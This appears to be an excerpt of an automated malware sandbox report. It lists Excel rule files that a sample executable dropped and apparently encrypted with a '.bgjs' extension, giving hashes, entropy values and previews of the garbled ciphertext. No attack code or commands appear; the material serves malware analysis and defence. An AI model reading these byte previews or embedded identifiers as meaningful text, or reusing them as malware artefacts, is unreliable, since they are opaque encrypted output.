SHA-512:	341149CD07E5A82B63595EF4170BD52FD7F0EA6C8E2E0CCDB34052D18EFEDABDC4054BD34C8BD509D1A8DBCDC81210126B410E593C7D80024CFF9F4300A407AD
Malicious:	false
Preview:	<?xml......3..K.>.K...1v+.d.6q.'O...c..a;..........E...5....\.B...caP,.2/]u.../.'...#I_......c....x.....%.."~.............d.2.t..;...;......$...{.....qN.[l+.oPbx@.QXj....{...}h......:L..l..BV.[...T..?.s.n.:.x..".uv%.>....0..U.3v..J?.~.Y.DIR....ep.xAl0..-.a..EQ..u......\|0..U.].g...k.....A......\|...z...*c?\|O..f~%)t......#.bN....:../...`...F.....&=y...>....\|..{H.......B..cg..8.r.....+u.'.V.!..v!../........s.....H....+..Q\|...b7._.w.... ...G)L...dh.3..f.`!N.1k..TIy.............0.......ku8.hF.5E....8.C....:.....99]^.Hf...Ue.<v..^....?.[~Q...1.l......L`..L<K..Y..+.. ...u~....;...3)...3..5..vF ......E..p..],.l.VNl....^GI.pE..C.....7~(.h.^.B..'......V^...g...l.@5...uS.....7.0J6..\|Lle-.]p.c..A..(..:.o.=d.....E}.T.?......_.!.._...0oV..6....'1./X......R.v$........X)...D...N..g.=........D+.....".c..(\.{9o[...tu.x3.a.....^.......1./.~-].v#.}..l).t_.....ij..t.65m..z....vx.....n.rA.v`...r..X. .Lp#9\|.9.V....]...L.4....8.0..K..JU.}j.v`..

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule11208v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	816
Entropy (8bit):	7.744533031865667
Encrypted:	false
SSDEEP:	24:Ehydq+T60TUb0YNOm3EoZwshs9Imdi21KjV+ObD:EhMLdUFXTrAiCAxD
MD5:	42B247F0ECAE010FB398F3E285E07418
SHA1:	DC862BCC3E665FFD6B57C672DCC14FD977E4923A
SHA-256:	3FC4A4295858E05AE9A137A202B03CDC325F4EE1FE5C247A3D04C366F22BA498
SHA-512:	F08D516C9EF45CA32A263B8B721F5DE0CEFA9B11424B2F8E11A72510EE93F8525393F7CB78E86B0102145010914C166B7F4F75A666451604837AE8B166422A3B
Malicious:	false
Preview:	<?xml$bG..W...}....z.9..K@.C..v<.I.3....O5[.l.(.#..OS...A.k,.....,#.f..9...-.0z!9N.Z..W..L.....`.jG.jr...[.......1R.....jZvx.@.e.D....o:...j..gb,]6.;....._\...hl........t.......m./M..HjN .....m.X%r~]...?..A.n,...........Y...&....B.....M.Mn..Y.d..K=\[1..2..x.$."..aw.A..{HM9....=c.......Y.c).,.e...,qD.b....q?.H........fY@...&....njy.+.Y%.x......E....q...].....0[._...z"mq_...A......y....Jbm.[..d.......g.....`.v..'..c....o...UwQu:..F..}.3.V.7..~t.=..".Q......:7.i....zV..T...........0....S...#.&_......k..p.=..e.[Ql....4Wk..<e)0%J'.\|.."E......6.1I..O.h.U..nB...9.....08U,.........1sk...&r..L..i..._b.S. ...'..........-..6...K..8..-d..o...c$Vq......@......N!<N.$;....Y.(...*.E....e.7......._XSLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule11209v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	2272
Entropy (8bit):	7.908719399336178
Encrypted:	false
SSDEEP:	48:tx6lJ0ASpOcfc892MfhPep55PNyCD29SWudgakCGaZT0t3D:tOJ0AUk892MY59ACD7WVJfea
MD5:	491A1154B5897427E164870D98692CC1
SHA1:	B4F2579F4BC078A7A41981B70992BF13F819913F
SHA-256:	00A65C61C455A82C5D8C1C9E8D76216A880696DA8166950F3DA871A87B6CFAEC
SHA-512:	060F896212AD1A7B71464BBC25EF452F0BA06BB747F34AC2F35182D354320F42D0E06E420A847C6E4478DAB63F2974092886F7893DAE053D40D397A01670D255
Malicious:	false
Preview:	<?xml./...p{..m......5f.$.E..L.=.6n..li.u^.2.f].....Zxa6..Hw.v.A/.......p.4QN.3.x.q...wr....F... ..JD.e.l..\U..[6f...">.+[}o.3...U..z...a.I4.J.X.....-;.......E...pv.8/.Yba.8h.fyF......A.5{.k_h.5...W..}..T.df.`r....F.u...qK..F.5.):3{v]it.t.$%s.{c..5....,k.....O..'pg...v.n.\.<......_..........\_...$&n.j.^.4.6.J.J.#H..:\|t.^..l...;.t..1./m..d.....C.f..3.9B...K....;..I.,.A.rK.\|4..AF..jHz<.L..3.....8.zV31.am.C....6../...n.....(..5.K.,R.~k..h..{.VR._b%....9].:....>...%..j...............i.....I.9....Z..........W.m.....%.2.V.W-.jy..b'JqS.Bk...v`w%.TC;..oY)...fsA...:......V.1..j.!.....L...P.+.......!...\...^./N.....U>.HV.#.]4.#.....y.D...tQk....Gm.....e6..w$&....Q..4].51..[...T.1...2E...}C...m..._o..............>..t....g./.{.M...DM2.2....n....W>.V.O$........{E.A.`j.~@..../T]l.e..n 4...WvR...............r.&........4.c....S.P.. Ia......W.S"..\..+...B5.:H.....w{.X.S!.q&.........}..1.lf0.sW...s..e..;^..>auqc..M.J.5.....Ip:..4e....b.;.8.`.p

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule11210v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1311
Entropy (8bit):	7.8518141208483865
Encrypted:	false
SSDEEP:	24:cl3OhKhQv6K58Y958VPX5BUWvcYu/czE92U4zf+RDaK2hi852pQsxSm77u/6HbD:e3OIA6DYb8VPwWvy/cQ47+tboiSsxt7h
MD5:	3F112B40530226778592AFC5B887A61E
SHA1:	0131C2CB5267528E446F0A5375ADB2857056C160
SHA-256:	FEDE4368BDCBB4206DDD8AC09002281EC505766EA5DC41DF32D4A5E50B48FD83
SHA-512:	C41005143DDBA02F610149D216C6A266DA47C944AB5B89DFC729B93B26A209C0831446BEA78D8435A7999109B643D8C09C8FF49669CBA3ADDEDC5BA9B9C8454C
Malicious:	false
Preview:	<?xml.Y.J.I.,<..-a..<5>m...27AO^}.d...6.OE...?..O......O.T.u+.B.Z.....X..5.6..]U..y...91....2...g..lR.....1e0...fQ.:{.....Sr....{M......i...(.?n.LJ.xR.Lr.h.....[zB..&.9.}..I..U.....C..y.g..z>.l....M...=.c.LM.e..z...g~..\|..o..P......gX...Gv..{s.....e.z....G...^..1[U6.%'\...YWS..Kq7..o@1G..~`.k...<.T'Sca_.1..%."s).......}..cYsa..........Q...>k..:..`.?`y$.l..f.R~.<......>NCz..L................u.f..c..w.^..)(U..2;...4..+.\....i.+.41.[..'.^.......d-..+H.!.....P.XO6g.P..q..K.w.?D....lj..g.[+.u.k..........G..d.R...Aq...B.Q..Y.4.0.}."PO.kj..b.oB}]Y...$0....;jX..?....%B.........(z.e.y..ieY.....d......{.Z.p%.Y.f.(...?.@N...2%...9.1!..<...^.......B.....B.g......<...Oh.y....r..aFpqg......%...............q"....(4r.b.2.>.../..P..q.s....7=dK.....9-.3.pRa.d.I.Vb..e..p@..u\|.... .u.j...{..W,.8....~.E8yB$X9..#7...G..2c.\|.L..83...}.@.X....nV.:..65.....k.n..}..+Y..J.`1.....ki7......H?D.v...>w6$./{..4....S..o2V.m4.CX^mF.`q......4....'.....Z:8G..3..

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule11264v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	3172
Entropy (8bit):	7.936498861650801
Encrypted:	false
SSDEEP:	96:4xgZH2AjMz1XYHdlgpemN0MwS0nxNI5FWDxkYdem:4xgZWAjEIk8mVwS0njDxk8
MD5:	CD3A12C7124CAFB0F3F6CA49ADBF982C
SHA1:	80AB91A9A7125E5221017B5E56D4124873A0A17B
SHA-256:	EBA8530CC8B539467F22C5D26FD573EFD862522E9A207D3E3C93F73B92DF7BA2
SHA-512:	D2D896886B6F487417EC12437050F6D6128392CC2090346A625CE50EF4ECD31DA75A6BDB9EE91376463418C627E3C19F24C78E3B61C91949C109192E43D8D989
Malicious:	false
Preview:	<?xml!......./..........E......P.9)I..s.tY+...+06H.wB.-S.....2..A..".....=...iB....@.9#.../^y9.\|.L.r...poA..7...s...N...FQZA....8Kv...T...Oy..8{+,.....?..m.>.S5..?-....<k/`HL...W.(..'.`..<.....;@.}.,..{....?..B..C.../D..G..t...f.p...[U.......................9I..<....)..5..wgs..i......s...7i..t.q._kJ..}.i..w....H..7},"............x..w\...G~}~3..hIYH..4#....}.:.P......gz...hA.x..F.X._..#....#.%..j,H....d.....QD.B.....B.....9.>}9w6...<....O..!...pr.._...."....j...?.N...ia.\..P..VA....{[0!=.i..tNI.A1.....2^.\|"..(=.;.v..+\.8]....dI.a....c.7.D.zs".8..WNn-.....Qo...oH........(..g..,lF.....@j.LQ.>..d.e......H.np...Q...O..c..;x.._f.q3.RcP..g....6{.w.?JLv.U..Uq../...K.-]<) l..D.=.7z.h.j.........)S."q....@.?.8.4xU/.Y.....Z.[.........2.e.i..c...lJ...MW.Qc...m....D~y\|4...L....`..?..%Nmg>gd.a.R...y2...B..A.r...0.&lV.p.8{AIs....&.v..M.o..n....Ek.y......$.%............6.........[..s...E..F. ...xS.A1g.uT.G..b.F...........WE.....l..2.H..`.../n.S..).

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule11265v1.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	2096
Entropy (8bit):	7.8890051847455185
Encrypted:	false
SSDEEP:	48:iHfeFwaTpqNWV6Reyxv7vpOZHtT/xkpQKXgbWBklWD:iWtqNVfeHd/MVk4
MD5:	1A9B6759EF3D307292F59C9DDEFD1D1A
SHA1:	387331B948946C10F69959ED67B61D52ED24ECAD
SHA-256:	A27591800EF710BC3E623C8F00CDBBF69304E86D1B666F00F4287FC79B051133
SHA-512:	E7E797A6983F58248C9E50224D5BA53B765AF4D3DDE805838FA58B5B0BA0E5E1BEED52605CA5295B456BFF0D200BEA889E36325889554B8E89F7971A5AB3C9A8
Malicious:	false
Preview:	<?xml..N.X..s.eBks.Uq......Gii....4.0Ia..q...9.......I..^q.:./..e......=.{...).x...W.B.!.?0...........@t.....~%V.D.#Z.}.$.Y..B:.R.a.Z.jxto..Va..2....S...GK..h.%.]...%..81.$...;C.."A<.5...#.l`u...!.7..+j..N.[.....5...i....p...$...vrZ.....I.L...\|....X.7....F..T....4x@t..G...w...e.`g.....m2V.Bk}..n....!.m..%.....%aQ._..R.G....%.e>.f.?.U....j.....0...i...TA...`.C.....L.'6l=.....c...}.`>^.@.%....%F..n...M...@....$...RC.... ...m.1.`...rQ..G..jjV.,.........P.)...._.P.3......./.8.......p}....$N.:n.....'rQ........PT...x#..E.4.).5g......F..G....t.3......A:..X....1Q.!......s.O.KR\|..Z9........#......G".}.8.?.....n..0P...kw.a. ..........R..a..b..86W..aR.V<........1.z`...".mg..@..Z......cW.H.X.Y_....)..x......[d..F#..m..(.L.).=..O...l-....N.2M;;.rs....)B....P.e.*.,.....,.E...=BnrF.@.....n:k=G.....r...[./.UA.IJTh."MaF...?r.Q......UE>..@?..].GO...mh......../`C...g~".V......J..y7.J...E....a.X.4 .9.Gy...J.>....w.>~-RfR.....:...........w`0

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule11285v1.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	7525
Entropy (8bit):	7.9742296926878184
Encrypted:	false
SSDEEP:	192:naPAhRqVRinlkJN0vCRcgLtwTZatQmdrZ9g/hRMkB4B:nVlkEvCbiSQGrZ96pyB
MD5:	75F40624254C2A3F9EDB2D8E7797EA41
SHA1:	24A4F424E2D341CF014F9F07ADB00A65CD1FA0B2
SHA-256:	03EA7101A85722ECA2887621E1D1C7DA702E965F58513276911DA976B7B745D7
SHA-512:	90100E0E7CDBFBBFDC24F51DAF9CE7F891A1FD211E29123E0892CE6CEF7D959F8F73BA541366B1F2885BC1FAD1A027F70DA6A0C6FE9DB6A4654624C6758C4CEC
Malicious:	false
Preview:	<?xml......I9....s.H.........{.\.....e....#./=.a.O."...A.nX...Y.<.._/.......x~.....6j:j....$.B.`.i...?J.e)C~......]9.Jpp}9=k.z.W..%.8.\i9el.R......3.2..~...f.....(.80..9.V..$..M)K.}...u..v.BK.x..7ge.3...1.<.T.../.."f.G.^\..V7..m....#.m..7.RQ.P......&..-....y.......Vk..e....T3...).....<.v\....`?]......p...(Zh]..]...........Z...S."...,Q.sh......$e...@.o^.#..CO.z..{.B..:..!..bG..p.z...>.H..{8_....D%......8.Rpihz...-.....:O..%5..7.w..u....=..P...&kR.@Z...0a..U.Q..joP1*..\|\|Q..as..w.A.#4...I...h...<uo..nx....Y...0..._....^^.NY..70V....dZ..@@.)......WJh.?1.o >e......<S`.=G..6l..vvL.O.."..g..v..9...!j...`3.,......3.]? ...T.iI.....y...Q...dc.8r.7.@.!.........u..>....}I..8.J.X4u..y.S.N........c..yO.d..V....].FT1."Zo.!'..j.W.[.?k..].y.p......4.....Mvj...Af.?. .^B..........ndN.... L$TL.e.S).l.#<EA..F.g..._...8f..D.d"......=.y..Ze......X.e./...kK$.px ...b;e .\|.!..9.U............L.=}lH<.&GC..r.9..!.>..XH...y...,n..f...7.....3.,...W.....!.9....;

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule11289v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	4197
Entropy (8bit):	7.961827630760365
Encrypted:	false
SSDEEP:	96:Zyoky5+RXnRllRW2kYTJcBQZP0yu4wgwc8KThl:8O+/cEJcBU0Sfr8KP
MD5:	DB2F1338F99E1A00FC87E32532704A09
SHA1:	CAE511970163A7FCB55A7FE62795BA9A2F7E80C9
SHA-256:	5E6506F72FA8475C8F47C6530AC179DD4DE3B48859BED0A7B71D92076AB5835D
SHA-512:	4EEB36C221E8E9F41996D4357760AE3AC8AAA3D5DD48F930F813ABBBF313E27C6BFB607BA2EB0845A654F2E9401069B54C6D186A6F8FCB35E9C1CCAD675CAA3F
Malicious:	false
Preview:	<?xmlW.....f....g?.+.H.=.........7..f/W#.H.F..j.d.U&.pL.0p...1dS. -...6..I....4..... ..0rs..j..?[.EV.q...{.m.O.....E.3.....(V...D.v};..9z)70F...1.=.A.+....3j./........55....z.y..6H....{..e?];..L.}....U... l.o...q~...%.5.... .4.l.....t...h..j....Hi...Z.8..M......0..J.<'..O.........L..\|.Jq]....J...x..g..P.q.4,.....h.....=N((.......]a./.cM..j..".U.\..NLw.....Q...7.......o.mx.v.F...s".m.\|`.e..x..]...q]V$;6w+.6...........S.$HW...@M..2d.......m. ..d.T.S,...z;...}eK...D#0.'.J.Q.E...p..M)..d.......i..4.v.4.Xs..........=..lq....cg\|.n....%F?....YC....h..q...s-.Xz.<;7."6Lm.p.`.r.....%...jAv-.\|...%.?(;...L.tn5.R......db..d...... '.{.'...d.h..d4.f.\|...Tn..O.~...g.6.....7.\|O~/A....->.......m...I.>....S..`.U.R)..Y...........B...........q.,.......Z.3........1S...C..u....T..]T..:>.}.V?..^..vs.M....UK..K.T...m!l/6c.7{...3C.w3..LPE...`/.G.[.3S.sP....uZ...d.[..q.p.^..+.........3......<.vwg*/.fo&"...k..d'.;8]..t%.5b.r=Qd....}(.B.....{..p....

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule11300v1.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	4608
Entropy (8bit):	7.963515023968889
Encrypted:	false
SSDEEP:	96:iTijW0sjI7BFQLhDHEOmMkcoSsm7e+RPBLUX73aIAayyU6vD:80sjABFJOHkNUPB4L3aTRa
MD5:	0E18C2959C2A92BC5A1CF32BCEA3471B
SHA1:	9254D66F80CDC076367D6BCF1C67A20F6AED62CE
SHA-256:	61A7B4E7A09D144AD1BEDEFDEEA16C9D68C90C54A0C2438EE0DA2A5925C72B40
SHA-512:	4D1FA5A23A57C6E1F42A00B61199163C146211803CAF58246001537666AD79295284236B0212CED1F19A54698D8625EFC1C4BC45D8B23CA6C896C562BBF26B1A
Malicious:	false
Preview:	<?xml..&z"...~.QJ......L.]...P.....F...-...G..?.`....%NV.X....'.`By .&,..R/.C...k...'./....p.y..?.{\|.v...\|.".fH....4...t..`.]......Y#......).B9yT..?..M..Q.-B.....}....4.;...c.<a.TVm..8.....3m=f.P."S.6.....Q..5=....y...J...7.)..un..}......z....6u.d.$.......Ox.`..%...2......`.......S.1.....C..2...]...L~%.].......u.(..c......;-y...Q{.5.m..j9.f..u..cz9H....... ..b.Ol"2.SZ.N^..'.n.. ....X.J..H....c...h@......:..)..H.7.K.V.&8......H^6.X\.......E..m.O...<..9jZ.I"........J.1....o......8...NI:.IdD........?m...%5/.U.}C.l..1.u..Xg.^....~lH.{$.....i.I.5..}...Yq.9!..E~G..,..x............3.{G.p.#O$,....6a..F>*,..m-c...@E.d=.>..i.Y.j...0...;..~.t....o.(qWkt .7.K!....M...!&....g....X4.....r.D.}...8.0Le+..&Q\n..>+.7.._......(..y......%....9`..d.L..q...Q.............n...8../.1F]..l..#R.....@...Oo..N.n.Z......I..F.3.ai ..u.U.]."..9nk...$W.M.k.'..R...:..L...@>X"...\zx.Gz...u.c.NM.+...2>.F.....-z......&...R..mr....\|.d.._k.z ...=n\..1yv.[.{97r.}....1.i.

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule11302v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	2884
Entropy (8bit):	7.928254959285346
Encrypted:	false
SSDEEP:	48:hgM7qKwn2oraz6oFhuRzlzgmAz0m/GukJQteS/QNC7Zbs4jH8YPJFoD:hgMePnmz6oStlzgTeBOeSR1bjjH8YRF0
MD5:	B8E331FF43C691AE39FF3E79280F5122
SHA1:	B61AAB4435117124F6CF02E871D067AAC9D74E80
SHA-256:	976E28B7B29F3D00E15B60C2608E9EE473DC84370D8FD4E3C792844C495FFD91
SHA-512:	C3FEFE06CC42B599159D352EEAF68BDC1DE2BCDC97E9DE859428BDB00222BCBA417FABC6CEF5975EBDD08F090A53B6255709EBC48132AE9CFEBBC7A57C6C5B16
Malicious:	false
Preview:	<?xml..A.q....{!....1....#4.).[......="......qA}].l..Z_....pr.......)K}9C?.S..iGg2'..5.......!...S.{+.q.L.U/.9......a/....B..F`....>..oW./q.kIv.....Y.s.aI.oo..(`].REp... .V..).{.}S.aQ...:...u.(.......E./..t.b..by....4......e+..i+l.=....I...c..z.?s...y..z..H...5/:l...[.;...q...vG.l.k...!..9.`..8d.\|]....P1.l"..,..S.Y.c...Pk..?j..a=..0.9!a....Z.;...O.M..`....bX.....kY>:...D.e.eL.+.V.Th`.._..C.a....6\|....p.A.....?.0pYO...pqI.0..b.......)V>.....s...:..}...Z ~./g.}... ...<?...o.i^.....q.`L-...P......$........3..B.qa....lb..uk..h.-B.........W....\|..E..xR.<..iR....f.v.=...p.Jl....z....P.bYB..CrO..c66.8..\..@...H..mb.P...9.@....L0......._...2.....,I...(..V..z...T.bE...G..d.Q9nH...)2(.^7]i3..J>....xN<...V....R.......t{.#..};m.....%I.....zx@..D..~.........;.!%.9m...6.>.)...:!\._,.1.>..:......Vv]3....&..,.C7.c.!....t..muh.....B5W....h....8......,....}..%..=&.I&.....`...Y..t....:......p.A.D.EC)U.$..G3..;.1Z....X%I\|.s.r...#?KW....L.M.~.....N..X4.d.ml.6A..u

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule11362v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	5842
Entropy (8bit):	7.967843780821206
Encrypted:	false
SSDEEP:	96:F/m2lXf4v9CLRNzOOhuYkgI2g7hwgMyBT7sS/XB3c21uBwK+1OTVC86Z+kuZ3:F/ZlXgvWzWYGNf3BX7VxuBOiA86Z+Pp
MD5:	AD0939F0A31334DFF76358DB8725892F
SHA1:	C82F0B5A3995CCF69A1CA923E320CA78C679DC2F
SHA-256:	6720AF78B02AF2D1FE1C705E15E66DB0537C067813C49353D7506091DB5587EF
SHA-512:	F4ADBF460808D1EAF8B1CCF50650E158F6D5DE59EE5AF62292DB24009EB8493BD09641C1E9D10CB39265B3C94271ED9B6019512007BD466E9D410C18FC7DD428
Malicious:	false
Preview:	<?xml.@7.C2W{EU._...#..-.....(.U.dU.........>......X..na.y.s.(.Y. .2.M+z.b..#;co..z.w3* ..5.....\|....'..E\|".P.\|.3....zU..........a.......s.}..hW...Ll=;..d....:.Ps....x....p.z{5i.\.G8.L.U.&....H.....v.NPph...-~..1..`.@Zq.C....4.9.8..B...y..I.p.^FM.-........E.W.\|.........Z..UIh...o..~u...E.L2...C~^...&....&@.T.l@1Pm..I.7r.p..f#..i...p..rm..sX.!C'k..$\.yXQ...Z.{...n=.[GV..).v..@(Z..Q..].....W....(..u..L?..._.F../_.I...,.cN.9.c...d...V7E.$...g.a..;......P.s[2.sl..g...a}.;..?...=.l.i..Z.=..}....~..>..;..Y'd7_.B....c..c...............3....G.%wBm.`y..Q....>....I./E..6{#...Ajp.d.t..;G.G......@g#>......C.e5..J.kV..6@....2.i..`.E.....ZK.2-59.7m.q..'."!CV....p........B..%.SgY./....@MI..`....#A.>wP...p,..Aq..w...8j..w..MK..u..>.3.R.._..7M. 6&0..7....9.)z.9..S(e&P;..?O(d.9^.....\|..........i.g.....iP..&.......r......s.V.....-.X.R`=.a..a;-.n........P..3`..J...'.F. .....,...Y....B..S..e...HV[.^uo....G.Z...H.'..T.4..8...{..Y..^<..\|.\.,-(..4d.v.q..{N..yq.

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule11369v1.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	2023
Entropy (8bit):	7.897817907457207
Encrypted:	false
SSDEEP:	48:WZudYX3CpbSKhfYLuwbpstrLC9naTMZte5aUAy4D:WEnBTOLd1naTMQaUAyk
MD5:	C66F6A0447FAAC0961A451C9B5354490
SHA1:	947672F4C30C09520DCDE6AAD6C9134EAF798E96
SHA-256:	D2011628447F97911A1A370771CEB0339CD75AEC43ECD71A92B8A895D2AE073E
SHA-512:	E2E7CA8E02FD9C319E9D0C9D4E2B4C78DDCC67B5EE8221B48AF2D0F84318F194C6BA386332958CC0E806260D8BE57DE826E41D79F919A9F7826E5ABE119472ED
Malicious:	false
Preview:	<?xmlF.....]C24........q.6..-.....\|....WUm..u..\....."dO.g.`...E}.....G.....P..hV.rS........!..]N..y.=....8pm.l.._..:.!..L..mu...9...`~:..Q.GMT..s4.fb.....n.........9en....g.K..............T!..A..Ma.m..pFYzq8U.n...@.M.,@.~....R......-....#.hJ.$u....i..h.B.`g(.+,...N.C..Z}..t..O.X.9.d.T.....XLB...6...jl.kz%/....6Y..N0.G.G..Dz\......k..h.<.<....@@...d.y.swQ..=..x..` ..........&......6<.L....py.3.~.......i..h...........[.T..y.{.\|{W`.h.....dt...R.J.D...;B%..I...@.r.........}%a....4....{h....~....]..!>.....][.Z...x....`[.%g..UJ<.%..Tk.0T=..#....k..G..I~..>..s..=......t71.......FmI,.D8.)...@..d7.}..UG0L)...F..h.[....Y.R....Z..U.........p.u..,...#m..(.G.k5...v..\..Z]..C.X....yh.\..!:.1m...8..6........+.8]>.<..4]S#S..Z.T.9.r`...1<./r.4.O7....".-#.......UV(A.,./k.%.w=...j...h....p.........y.d...u......g.^..)..w..{......wX.?...v.Gr.7..k_....F..UZ'1...-........j.pXJ.\|..4u..U....cP"+..PQ..FG..e._..8^?-w..{.\.V`...>K41JZ-.G.+.{........\|.P..

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule11370v1.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1001
Entropy (8bit):	7.800292407642136
Encrypted:	false
SSDEEP:	24:Hv2sZoX+XGYtzndCHO/6NSylMQ/VbOgZsa23UbD:P2sGX0GODdCHTr3VsF+D
MD5:	14ED81FFEC36992F8EB62607E76FB5FC
SHA1:	4FFD6839A0FC8E88EA46FE24A0071D79222C0AA5
SHA-256:	5219B57748E49F83398F963F149075A45F8FEE691837B32C371B915E4959587D
SHA-512:	733392792B7BEC7200718D27292B6BEDDD163D46A5FA1D81C92EB64866A732B53D8B1DC5EE5E26D90F895D01982D5C20118457C3B4E3DE2045E0912A3D797295
Malicious:	false
Preview:	<?xml.VP$\|...GbC.L... ..X+.g..d..y...^...EUS...Z[..8/#.....,X..I...d..3.....V}.../....Bh..J]QM?....;db`....3T..kQ.+Z.Y.....n..VO...Q.9....i....%qC$.&..e`...sM.f...p.Sg.%k.Mx.)..7rA....XVX......f2.F.$...4V9...s5..hu.... .g.o.i.E......E.jV5...\|..o .Q.0/O...gp............R..\|.......?...5n......M.a.&...'..$....._..t.........+.......5g..b~....z..A;.....y....q.g......Ia.......w.cz..\..8....d=@...S....X)HQ.~"Z.....8X.P.~..6x.nD1;F.+f[.M.".JQ..{.E...j......C..]....g..@i...A..h/.:...jBB..ACD&.c(...f(Q...f.1.......N..@..5... ......-..)'.9.7.gC.?B.pnx.S....Q.....5ID.r..W..yo..~%..a.F.^.>..m...7N......._H..m?~......3.....l2.@....q.`@...1......]x.=7.qP.w.).x$...v9G..!.~...96Y.j.QME..!.=.D2.zw...\.....j<WC......T`h........A...z...I..@.g$.PF..Y.O..}..d....n..D..BtI.......c?B.....Kk........rex..l.t.v.*u..?..?`.HWe.,........y.....K..'D.tFH....>sT;.%..!1........`r.bQ........HVSLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule11381v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	2743
Entropy (8bit):	7.93861918338118
Encrypted:	false
SSDEEP:	48:aHJ9Y1tJQpFAhnl49CYGBA5h2fLXQ/Yrr/9kLVrUaXjc0WZQTM26+S+/lD:kJ9Y17QpFb9lcA/mXQGb98gaX4bIJd
MD5:	925635A6E8EC57D21E82C0CE27EC5057
SHA1:	7908887F4B3ECAB6B3F680DE410AD6D228DAC43E
SHA-256:	59F5406F28272C5DA762ED7DFCBDDFB96F850F095C3ADAC30F0E06DA8634C6F1
SHA-512:	E02E5B6833CD35AB98B01805D939CB1AE4E83396F8558E65D276EFBD5D5B8AC4CD25BF29DDF8F84DED761AB8689614F06EDAE6182A38197938CBCC52FC63DD75
Malicious:	false
Preview:	<?xml..3HWl..!...9.o.jz..K..h.q.s...t].U.R%.<....l.s'H..t..]ujSW\U..0^(..k..).....g.6.J.-.f....>.k7{.`\|..TCdZw.........@..,~...pr...S..p..L...'<.l+.`O".3TEUc .O...?f?{=...1....e...S2F.v..H..k..q.g.A....@...aG.<....k.0B..\|h...Z=.MVZ^....R.%..[...!bC.$C........0S.h.S......$...D..!\|Jj<..Cg..(..E...<\.f..}.).........\..P.6.fxD.G.z$...t..;.0.[..%...J..Z6...^-...G-..Osk~AP+}..oe..N[k%.....y..F.'.....$.D.)%.D.....L.......F.[.......}...{..J....dp}....t.}h...&..X.S+.(..(..\|...g.8.B.o~.[....xd=......;K/.;i...-M\.V...e6.?...].2..........'.1......8..7fhD..~ 4...R..j...3'...!.@!..._.. k..\|.n......I^,<.<. .../.3......L.i...v.TQ%.....2..2.t.ZE..o....>.#A..l+.k"..-.$..".Ep^=t..R\|..}.....H.....w.e......r./zI.eK....).>...C.u.XF...5...x.(.yd"...uq=">1,.....Cg...y..-Q....r.O5.'4.>...L.I.!..........+.e..u.....g.....jWK?.Mg`...5.}..).{x../.s6....0.......Q.W...F.e.5..=nz.h.c.g!.@.....:=i[.... _r.....2>z..k.u.{.Z(..3....im....,t..Uo..g.kLG....

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule11446v1.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	11063
Entropy (8bit):	7.9840802898458065
Encrypted:	false
SSDEEP:	192:ax7ZiKX62NN2fQGkkEUG6RGa+neMZsg5bXaYQNqv:aJ2fklUGgGzeSX5mqv
MD5:	868C59B1E8A2AB8A27E59CC2EE0C153A
SHA1:	B00532E49BD412CB4FCD2D842E3C19D65859B4D6
SHA-256:	BF5C0A07FD36E16EC5D696DC431D249DF9AE702EB39898902FF26F16ECA56097
SHA-512:	07DC916032C88E8D1B7BF8208BCADD7CD8AE449B9773C375EF384F36CF394AA99F0B36312865ACE0ED6B422AB43DE7BC5C2D7F9D23ACE2E0715572D63C3B5115
Malicious:	false
